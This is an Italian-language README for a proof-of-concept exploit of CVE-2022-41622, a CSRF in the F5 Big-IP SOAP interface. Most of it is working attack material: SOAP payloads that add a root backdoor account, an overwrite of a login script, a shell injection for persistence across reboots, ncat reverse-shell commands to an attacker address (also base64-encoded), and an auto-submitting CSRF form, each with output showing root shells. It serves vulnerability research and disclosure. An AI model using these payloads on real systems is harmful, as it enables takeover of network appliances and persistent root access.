Questa è una prova di concetto per CVE-2022-41622, una CSRF in F5 Big-IP che porta all'esecuzione remota di codice. Usarlo è un po' delicato, ma ti guiderò attraverso i miei casi d'uso preferiti.

La vulnerabilità

La vulnerabilità principale è una cross-site request forgery nell'interfaccia SOAP di F5 Big-IP, a cui si accede tramite /iControl/iControlPortal.cgi, che viene eseguito come root. Ma nonostante siamo root, siamo limitati da una policy SELinux, il che rende difficile lo sfruttamento. Tuttavia, qui sotto mostreremo alcuni bypass.

L'interfaccia SOAP non ha protezione CSRF, il che significa che un attaccante può sfruttare la sessione di un utente autenticato per eseguire qualsiasi richiesta SOAP supportata. L'elenco completo dei file WSDL è incluso e abbiamo creato payload per alcuni di quelli importanti.

Utilizzo base

L'utilizzo base è:

ruby f5-soap-exploit.rb <target> <xml_template> [username:password]

La coppia username:password serve solo per i test: prende un account admin valido e invia la richiesta SOAP direttamente al server. Non è affatto un exploit o un PoC: è semplicemente l'uso previsto dell'endpoint.

Se non fornisci un username:password, stamperà un payload CSRF. Per sfruttare la vulnerabilità, un admin autenticato dovrà visitare un sito contenente quel payload. Il suo browser verrà reindirizzato e l'azione avverrà in background.

Nota che i payload veri e propri non sono carini né nascosti in alcun modo: per sfruttare questo bug davvero, probabilmente dovrai dedicargli un po' di lavoro.

Scenari

Li dimostreremo usando un account reale, ma ricorda che puoi sfruttare tutti questi scenari tramite CSRF!

Aggiungi un utente root

Questo è probabilmente il più semplice da sfruttare. Aggiunge un account utente con una password e puoi usare quella password per accedere via ssh. È anche rumoroso, ovviamente!

(La password predefinita nel payload è Password1)

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for USERNAME [rontest]: mybackdoor
Value for FULLNAME [Ron Test]: My Backdoor
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]:
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:so
apenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl">

<item>
  <user>
    <name>mybackdoor</name>
    <full_name>My Backdoor</full_name>
  </user>

  <password>
    <is_encrypted>true</is_encrypted>
    <password>$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0</password>
  </password>

  <permissions>
    <item>
      <role>USER_ROLE_ADMINISTRATOR</role>
      <partition>[All]</partition>
    </item>
  </permissions>

  <login_shell>/bin/bash</login_shell>
</item>
</users>
</user:create_user_3>
</soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:create_user_3Response
        xmlns:m="urn:iControl:Management/UserManagement"></m:create_user_3Response>
</E:Body>
</E:Envelope>

$ ssh [email protected]
([email protected]) Password:
([email protected]) You are required to change your password immediately (root enforced)
[...]

[mybackdoor@localhost:NO LICENSE:Standalone] ~ # whoami
root

Abbiamo trovato un symlink in /etc/profile.d che non è coperto da SELinux:

# ls -l /etc/profile.d/timeout.sh
lrwxrwxrwx. 1 root root 31 Jul 15 02:48 /etc/profile.d/timeout.sh -> ../../var/run/config/timeout.sh

timeout.sh può essere sostituito e la prossima volta che un utente accede, qualsiasi codice al suo interno verrà eseguito. Nota che sovrascrivere timeout.sh potrebbe causare problemi; non ho idea di cosa dovrebbe fare (viene comunque ripristinato al riavvio).

Sostituiremo timeout.sh con quanto segue - in pratica, ripristiniamo il timeout.sh originale e poi apriamo una shell (puoi trovarlo anche nella cartella examples/):

# Restore the original file
echo 'IwojIFRISVMgSVMgQU4gQVVUTy1HRU5FUkFURUQgRklMRSAtIERPIE5PVCBFRElUISEhCiMKIyBVc2UgdGhlIHRtc2ggc2hlbGwgdXRpbGl0eSB0byBtYWtlIGNoYW5nZXMgdG8gdGhlIHN5c3RlbSBjb25maWd1cmF0aW9uLgojIEZvciBtb3JlIGluZm9ybWF0aW9uLCBzZWUgdG1zaCAtYSBoZWxwIHN5cyBzc2hkLgpQU09VVD1gL2Jpbi9wcyAtLW5vLWhlYWRlcnMgLW8gdHR5IC0kJGAKaWYgWyAiJHtQU09VVDowOjN9IiA9PSAidHR5IiBdOyB0aGVuCiAgICBleHBvcnQgVE1PVVQ9MAplbHNlCiAgICBleHBvcnQgVE1PVVQ9MApmaQoK' | base64 -d > /etc/profile.d/timeout.sh

# Pop a shell
ncat -e /bin/bash 10.0.0.179 4444

Ecco la richiesta / risposta:

$ base64 -w0 < examples/timeout.sh
IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /var/run/config/timeout.sh
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/var/run/config/timeout.sh</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">IyBSZXN0b3JlIHRoZSBvcmlnaW5hbCBmaWxlCmVjaG8gJ0l3b2pJRlJJU1ZNZ1NWTWdRVTRnUVZWVVR5MUhSVTVGVWtGVVJVUWdSa2xNUlNBdElFUlBJRTVQVkNCRlJFbFVJU0VoQ2lNS0l5QlZjMlVnZEdobElIUnRjMmdnYzJobGJHd2dkWFJwYkdsMGVTQjBieUJ0WVd0bElHTm9ZVzVuWlhNZ2RHOGdkR2hsSUhONWMzUmxiU0JqYjI1bWFXZDFjbUYwYVc5dUxnb2pJRVp2Y2lCdGIzSmxJR2x1Wm05eWJXRjBhVzl1TENCelpXVWdkRzF6YUNBdFlTQm9aV3h3SUhONWN5QnpjMmhrTGdwUVUwOVZWRDFnTDJKcGJpOXdjeUF0TFc1dkxXaGxZV1JsY25NZ0xXOGdkSFI1SUMwa0pHQUthV1lnV3lBaUpIdFFVMDlWVkRvd09qTjlJaUE5UFNBaWRIUjVJaUJkT3lCMGFHVnVDaUFnSUNCbGVIQnZjblFnVkUxUFZWUTlNQXBsYkhObENpQWdJQ0JsZUhCdmNuUWdWRTFQVlZROU1BcG1hUW9LJyB8IGJhc2U2NCAtZCA+IC92YXIvcnVuL2NvbmZpZy90aW1lb3V0LnNoCgojIFBvcCBhIHNoZWxsCm5jYXQgLWUgL2Jpbi9iYXNoIDEwLjAuMC4xNzkgNDQ0NAo=</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
        xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>

Poi ci mettiamo in ascolto, aspettiamo che qualcuno acceda e otteniamo una shell:

$ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

[..... wait .....]

Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:38588.

whoami
root

Shell remota al riavvio

Abbiamo trovato una vulnerabilità di shell injection in un tool chiamato f5_update_checker che viene eseguito come root (e senza restrizioni SELinux) al riavvio. Se creiamo un file /shared/f5_update_action con un file di aggiornamento formattato correttamente e un payload di shell injection sulla riga 2, verrà eseguito 2 minuti dopo il successivo avvio del server e poi verrà eliminato.

Sarebbe una gran bella backdoor per la persistenza. :)

Ecco un esempio (è anche nella cartella examples/):

AAA
https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`
https://localhost/error
0
0
0
0

Codificalo in base64 e caricalo usando il template upload_file.xml:

$ base64 -w0 < examples/f5_update_action
QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/upload_file.xml admin:Password1
NOTE: You've provided a username and password, which means this is going
to authenticate, and therefore isn't an exploit

Don't enter a username:password if you want to generate a CSRF exploit!
Value for FILENAME [/tmp/csrfdemo.txt]: /shared/f5_update_action
Value for BASE64FILEDATA [SGVsbG8gd29ybGQh]: QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==
Sending the following payload directly to 10.0.0.162...

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:con="urn:iControl:System/ConfigSync">
   <soapenv:Header/>
   <soapenv:Body>
      <con:upload_file soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
        <file_name xsi:type="xsd:string">/shared/f5_update_action</file_name>
         <file_context xsi:type="urn:System.ConfigSync.FileTransferContext" xmlns:urn="urn:iControl">
            <!--type: Common.OctetSequence-->
            <file_data xsi:type="urn:Common.OctetSequence">QUFBCmh0dHBzOi8vbG9jYWxob3N0L3N1Y2Nlc3NgbmNhdCAtZSAvYmluL2Jhc2ggMTAuMC4wLjE3OSA0NDQ0YApodHRwczovL2xvY2FsaG9zdC9lcnJvcgowCjAKMAowCg==</file_data>
            <chain_type xsi:type="urn:Common.FileChainType">FILE_FIRST_AND_LAST</chain_type>
         </file_context>
      </con:upload_file>
   </soapenv:Body>
</soapenv:Envelope>

Response:
<E:Envelope
        xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
        xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
        xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
        xmlns:y="http://www.w3.org/2001/XMLSchema"
        xmlns:iControl="urn:iControl"
        E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:upload_fileResponse
        xmlns:m="urn:iControl:System/ConfigSync"></m:upload_fileResponse>
</E:Body>
</E:Envelope>

Crea un listener, poi aspetta un riavvio:

ron@fedora ~ $ nc -v -l -p 4444
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444

[...... wait ......]

Ncat: Connection from 10.0.0.162.
Ncat: Connection from 10.0.0.162:55634.

whoami
root

Puoi seguire /var/log/f5_update_checker.out dopo il riavvio per assicurarti che abbia funzionato (ovviamente funziona solo se hai già accesso all'host):

# cat /var/log/f5_update_checker.out
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback utility started
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Searching for EM callback file "/shared/f5_update_action"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file found -- parsing
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file action: "AAA"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file success URL: "https://localhost/success`ncat -e /bin/bash 10.0.0.179 4444`"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file failure URL: "https://localhost/error"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess flag: "8"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnSuccess slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure flag: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: EM callback file rebootOnFailure slot: "0"
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Executing EM action: AAA
[Wed Oct 19 10:47:32 2022] f5em_callback [INFO]: Sleeping for 2 minutes before first attempt.

Aggiunta utente con CSRF

Gli esempi precedenti mostrano come eseguire endpoint SOAP con un account, ma ovviamente non è un vero exploit. Diamo un'occhiata a come è fatto un payload CSRF!

Useremo lo stesso esempio di aggiunta di un utente visto sopra, ma senza account:

$ ruby ./f5-soap-exploit.rb 10.0.0.162 ./templates/add_user.xml > examples/csrf-adduser-payload.html
Value for USERNAME [rontest]: csrfdemo2
Value for FULLNAME [Ron Test]: CSRF Demo
Value for CRYPTSHA512HASH [$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0]: 

$ cat examples/csrf-adduser-payload.html

      <form id="form" method="post" action="https://10.0.0.162/iControl/iControlPortal.cgi" enctype="text/plain">
        <textarea id="payload" name="&lt;!--">--&gt;&lt;soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:user="urn:iControl:Management/UserManagement" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/"&gt;
&lt;soapenv:Header/&gt;
&lt;soapenv:Body&gt;
&lt;user:create_user_3 soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;
&lt;users xsi:type="urn:Management.UserManagement.UserInfo3Sequence" soapenc:arrayType="urn:Management.UserManagement.UserInfo3[]" xmlns:urn="urn:iControl"&gt;

&lt;item&gt;
  &lt;user&gt;
    &lt;name&gt;csrfdemo2&lt;/name&gt;
    &lt;full_name&gt;CSRF Demo&lt;/full_name&gt;
  &lt;/user&gt;

  &lt;password&gt;
    &lt;is_encrypted&gt;true&lt;/is_encrypted&gt;
    &lt;password&gt;$6$T2mT4PeYSuyg/hSr$y/rN9tol5t1fRxTBqFVtxLzRfUBXt16yNahqYTaVVZa3PITfoAKBnuzqvwBT77qNBV4JjgwdhzqmsMk78bo6d0&lt;/password&gt;
  &lt;/password&gt;

  &lt;permissions&gt;
    &lt;item&gt;
      &lt;role&gt;USER_ROLE_ADMINISTRATOR&lt;/role&gt;
      &lt;partition&gt;[All]&lt;/partition&gt;
    &lt;/item&gt;
  &lt;/permissions&gt;

  &lt;login_shell&gt;/bin/bash&lt;/login_shell&gt;
&lt;/item&gt;
&lt;/users&gt;
&lt;/user:create_user_3&gt;
&lt;/soapenv:Body&gt;
&lt;/soapenv:Envelope&gt;
</textarea>
        <input type=submit>
      </form>

      <script>
        setTimeout(function() {
          document.getElementById("form").submit();
        }, 1000);
      </script>

Metti in servizio quel file HTML da qualche parte e invia un link a un amministratore. Quando l'amministratore visita quel link, il suo browser verrà reindirizzato e accederà all'API SOAP usando un tipico payload CSRF.

$ python -m http.server -d examples/
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

[..... waiting .....]

127.0.0.1 - - [19/Oct/2022 11:07:57] "GET /csrf-adduser-payload.html HTTP/1.1" 200 -
127.0.0.1 - - [19/Oct/2022 11:07:58] code 404, message File not found
127.0.0.1 - - [19/Oct/2022 11:07:58] "GET /favicon.ico HTTP/1.1" 404 -
^C

$ ssh [email protected]
([email protected]) Password: 
([email protected]) You are required to change your password immediately (root enforced)
Changing password for csrfdemo2.
(current) BIG-IP password: 
([email protected]) New BIG-IP password: 
([email protected]) Retype new BIG-IP password: 
Last login: Wed Oct 19 11:00:43 2022 from 10.0.0.179
[csrfdemo2@localhost:NO LICENSE:Standalone] ~ # whoami
root

Ovviamente questo non cerca di nascondersi in alcun modo: puoi migliorare parecchio il payload CSRF!

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